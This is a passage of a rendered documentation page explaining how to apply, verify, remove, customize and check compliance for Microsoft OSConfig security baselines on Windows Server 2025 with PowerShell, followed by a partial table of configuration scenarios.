<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Install-Module</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Name Microsoft.OSConfig </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Scope AllUsers </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Repository PSGallery </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Force</span></span></code></pre>
</div><h2 id="configuration" tabindex="-1">🧑‍🔧 Configuration <a class="header-anchor" href="#configuration" aria-label="Permalink to &quot;:mechanic: Configuration&quot;">&ZeroWidthSpace;</a></h2>
<h3 id="configure-the-security-baselines" tabindex="-1">Configure the security baselines <a class="header-anchor" href="#configure-the-security-baselines" aria-label="Permalink to &quot;Configure the security baselines&quot;">&ZeroWidthSpace;</a></h3>
<ol>
<li>To set up the security baseline using Desired State Configuration (DSC), just run the commands below.</li>
<li>Make sure to open PowerShell as an Administrator to get the necessary permissions.</li>
</ol>
<div class="vp-code-group vp-adaptive-theme"><div class="tabs"><input type="radio" name="group-8qWYo" id="tab-DjWy2l6" checked="checked"><label for="tab-DjWy2l6">Configure</label><input type="radio" name="group-8qWYo" id="tab-3w9tw5E" ><label for="tab-3w9tw5E">Verify</label><input type="radio" name="group-8qWYo" id="tab-SXYhCPh" ><label for="tab-SXYhCPh">Remove</label><input type="radio" name="group-8qWYo" id="tab-NwJ9ldS" ><label for="tab-NwJ9ldS">Check compliance</label></div><div class="blocks">
<div class="language-powershell vp-adaptive-theme active"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># To apply the baseline for a domain-joined device, run the following command:</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Set-OSConfigDesiredConfiguration</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Scenario SecurityBaseline</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">WS2025</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">MemberServer </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Default</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># To apply the baseline for a device that's in a workgroup, run the following command:</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Set-OSConfigDesiredConfiguration</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Scenario SecurityBaseline</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">WS2025</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">WorkgroupMember </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Default</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># To apply the baseline for a device that's configured as the DC, run the following command:</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Set-OSConfigDesiredConfiguration</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Scenario SecurityBaseline</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">WS2025</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">DomainController </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Default</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># To apply the secured-core baseline for a device, run the following command:</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Set-OSConfigDesiredConfiguration</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Scenario SecuredCore </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Default</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># To apply the Microsoft Defender Antivirus baseline for a device, run the following command:</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Set-OSConfigDesiredConfiguration</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Scenario Defender</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Antivirus </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Default</span></span></code></pre>
</div><div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># To verify that the baseline for a domain-joined device is properly applied, run the following command:</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Get-OSConfigDesiredConfiguration</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Scenario SecurityBaseline</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">WS2025</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">MemberServer</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># To verify that the baseline for a device that's in a workgroup is properly applied, run the following command:</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Get-OSConfigDesiredConfiguration</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Scenario SecurityBaseline</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">WS2025</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">WorkgroupMember</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># To verify that the baseline for a device that's configured as the DC is properly applied, run the following command:</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Get-OSConfigDesiredConfiguration</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Scenario SecurityBaseline</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">WS2025</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">DomainController</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># To verify that the secured-core baseline for a device is properly applied, run the following command:</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Get-OSConfigDesiredConfiguration</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Scenario SecuredCore</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># To verify that the Microsoft Defender Antivirus baseline for a device is properly applied, run the following command:</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Get-OSConfigDesiredConfiguration</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Scenario Defender</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Antivirus</span></span></code></pre>
</div><div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># To remove the baseline for a domain-joined device, run the following command:</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Remove-OSConfigDesiredConfiguration</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Scenario SecurityBaseline</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">WS2025</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">MemberServer</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># To remove the baseline for a device that's in a workgroup, run the following command:</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Remove-OSConfigDesiredConfiguration</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Scenario SecurityBaseline</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">WS2025</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">WorkgroupMember</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># To remove the baseline for a device that's configured as the DC, run the following command:</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Remove-OSConfigDesiredConfiguration</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Scenario SecurityBaseline</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">WS2025</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">DomainController</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># To remove the secured-core baseline for a device, run the following command:</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Remove-OSConfigDesiredConfiguration</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Scenario SecuredCore</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># To remove the Microsoft Defender Antivirus baseline for a device, run the following command:</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Remove-OSConfigDesiredConfiguration</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Scenario Defender</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Antivirus</span></span></code></pre>
</div><div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># To obtain the desired configuration details for the specified scenario, use the following commands.</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># The output appears in a table format that includes the name of the configuration item, its compliance status, and the reason for noncompliance.</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># To check the compliance details for a domain-joined device, run the following command:</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Get-OSConfigDesiredConfiguration</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Scenario SecurityBaseline</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">WS2025</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">MemberServer </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ft Name</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> @</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{ Name </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "Status"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">; Expression</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.Compliance.Status} }</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> @</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{ Name </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "Reason"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">; Expression</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.Compliance.Reason} } </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">AutoSize </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Wrap</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># To check the compliance details for a workgroup device, run the following command:</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Get-OSConfigDesiredConfiguration</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Scenario SecurityBaseline</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">WS2025</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">WorkgroupMember </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ft Name</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> @</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{ Name </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "Status"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">; Expression</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.Compliance.Status} }</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> @</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{ Name </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "Reason"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">; Expression</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.Compliance.Reason} } </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">AutoSize </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Wrap</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># To check the compliance details for the DC baseline, run the following command:</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Get-OSConfigDesiredConfiguration</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Scenario SecurityBaseline</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">WS2025</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">DomainController </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ft Name</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> @</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{ Name </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "Status"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">; Expression</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.Compliance.Status} }</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> @</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{ Name </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "Reason"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">; Expression</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.Compliance.Reason} } </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">AutoSize </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Wrap</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># To check the compliance details for the secured-core baseline, run the following command:</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Get-OSConfigDesiredConfiguration</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Scenario SecuredCore </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ft Name</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> @</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{ Name </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "Status"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">; Expression</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.Compliance.Status} }</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> @</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{ Name </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "Reason"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">; Expression</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.Compliance.Reason} } </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">AutoSize </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Wrap</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># To check the compliance details for the Microsoft Defender Antivirus baseline, run the following command:</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Get-OSConfigDesiredConfiguration</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Scenario Defender</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Antivirus </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ft Name</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> @</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{ Name </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "Status"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">; Expression</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.Compliance.Status} }</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> &#x3C;</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">span</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">>@</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{ Name </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "Reason"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">; Expression</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.Compliance.Reason} } </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">AutoSize </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Wrap</span></span></code></pre>
</div></div></div>
<div class="important custom-block github-alert"><p class="custom-block-title">IMPORTANT</p>
<p></p>
<ul>
<li>When you apply or remove a security baseline, a restart is required for changes to take effect.</li>
<li>When you customize a security baseline, a restart is required for changes to take effect, depending on which security features you modified.</li>
<li>During the removal process, when security settings are reverted, changing these settings back to their premanaged configuration isn't guaranteed.
It depends on the specific settings within the security baseline.
This behavior aligns with the capabilities that the Microsoft Intune policies provide. To learn more, see details below.</li>
</ul>
<details class="details custom-block"><summary>Remove a security baseline assignment</summary>
<p>When a security baseline setting no longer applies to a device, or settings in a baseline are set to Not configured, those settings on a device might not revert to a premanaged configuration depending on the settings in the security baseline.
The settings are based on CSPs, and each CSP can handle the change removal differently.</p>
<p>Other processes that might later change settings on the device include a different or new security baseline, device configuration profile, Group Policy configurations, or manual edit of the setting on the device.</p>
</details>
</div>
<h3 id="customize-security-baselines" tabindex="-1">Customize security baselines <a class="header-anchor" href="#customize-security-baselines" aria-label="Permalink to &quot;Customize security baselines&quot;">&ZeroWidthSpace;</a></h3>
<p>After you complete the security baseline configuration, you can modify the security settings while maintaining control.<br>
Customizing the security values allows for more control of your organization's security policies, depending on your environment's specific needs.</p>
<div class="warning custom-block"><p class="custom-block-title">EXAMPLE</p>
<p>The ability to copy and paste files from RDP sessions is disabled.<br>
If you need to use this function on a member server, run the following command and then reboot your device:</p>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Set-OSConfigDesiredConfiguration</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Scenario SecurityBaseline</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">WS2025</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">MemberServer </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Name RemoteDesktopServicesDoNotAllowDriveRedirection </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Value </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">0</span></span></code></pre>
</div></div>
<p>Below you find the <span style="color:crimson"><strong>Desired State Configuration (DSC)</strong></span> scenarios u can use in the configuration of your machines.<br>
You can drill down into the scenarios below, to find a list (CSV) of settings to customize.</p>
<table>
<thead>
<tr>
<th style="text-align:left">Scenario</th>
<th style="text-align:left">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">AppControl</td>
<td style="text-align:left">Application Control for Business allows organizations to control which drivers and applications are allowed to run on their Windows clients</td>
</tr>
<tr>
<td style="text-align:left">AppControl\WS2025\AppBlockList\Audit</td>
<td style="text-align:left">A default (block list) Application Control for Business policy (audit mode) for Windows Server 2025.</td>
</tr>
<tr>
<td style="text-align:left">AppControl\WS2025\AppBlockList\Enforce</td>
<td style="text-align:left">A default (block list) Application Control for Business policy (enforce mode) for Windows Server 2025.</td>
</tr>
<tr>
<td style="text-align:left">AppControl\WS2025\DefaultPolicy\Audit</td>
<td style="text-align:left">A default Application Control for Business policy (audit mode) for Windows Server 2025.</td>
</tr>
<tr>
<td style="text-align:left">AppControl\WS2025\DefaultPolicy\Enforce</td>
<td style="text-align:left">A default Application Control for Business policy (enforce mode) for Windows Server 2025.</td>
</tr>
<tr>
<td style="text-align:left"><a href="https://github.com/Vejitaxp/michaelsendpoint_public/blob/f1712d503d4a9d3fd7e1f9ac119c55fa36845439/Powershell/OSConfig/DefenderAntivirus.csv" target="_blank" rel="noreferrer">Defender\Antivirus</a></td>
